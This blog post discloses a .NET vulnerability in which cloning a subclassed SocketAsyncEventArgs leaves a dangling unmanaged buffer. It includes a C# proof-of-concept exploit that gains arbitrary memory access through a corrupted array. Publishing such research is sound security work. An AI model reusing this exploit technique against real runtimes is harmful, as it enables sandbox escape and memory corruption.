Unlike most bugs that I run into, this one I actively went looking for. After being reminded of the cloning attack (in the context of Java) I wrote some reflection code to scan the BCL for public types that are cloneable (i.e. subclassable) and contain unmanaged pointer fields. This is a bad combination. A class that showed up as potentially vulnerable was SocketAsyncEventArgs and a few minutes with ildasm confirmed it.
I had at that time fairly recently written about another Socket vulnerability (that was fixed in MS11-039), but that was a complete coincidence. As I said this bug was found via (trivial) static analysis.
Here's an example exploit (not very reliable):
using System;using System.Net;using System.Net.Sockets;class MySocketAsyncEventArgs : System.Net.Sockets.SocketAsyncEventArgs{ public MySocketAsyncEventArgs Clone() { return (MySocketAsyncEventArgs)MemberwiseClone(); }}class Program{ static void Main() { GC.Collect(); byte[] buf1 = new byte[1024]; object[] dummy = new object[1024]; for (int i = 0; i < dummy.Length; i++) dummy[i] = new byte[1024]; byte[] buf2 = new byte[1]; MySocketAsyncEventArgs args = new MySocketAsyncEventArgs(); args.SetBuffer(buf1, 0, buf1.Length); MySocketAsyncEventArgs copy = args.Clone(); args.Dispose(); buf1 = null; GC.Collect(); Socket server = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); server.Bind(new IPEndPoint(IPAddress.Loopback, 0)); server.Listen(1); Socket client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); client.Connect(server.LocalEndPoint); Socket conn = server.Accept(); byte[] buf = new byte[1024]; for (int i = 0; i < buf.Length; i++) buf[i] = 0xFF; client.Send(buf); conn.ReceiveAsync(copy); System.Threading.Thread.Sleep(100); // now we have a magic array that allows us arbitrary memory access Console.WriteLine(buf2.Length); Console.WriteLine(buf2[1000000000]); // AccessViolation GC.SuppressFinalize(copy); }}
Remember Me
I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.
Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)
Powered by: newtelligence dasBlog 2.3.12105.0
© Copyright 2019, Jeroen Frijters
E-mail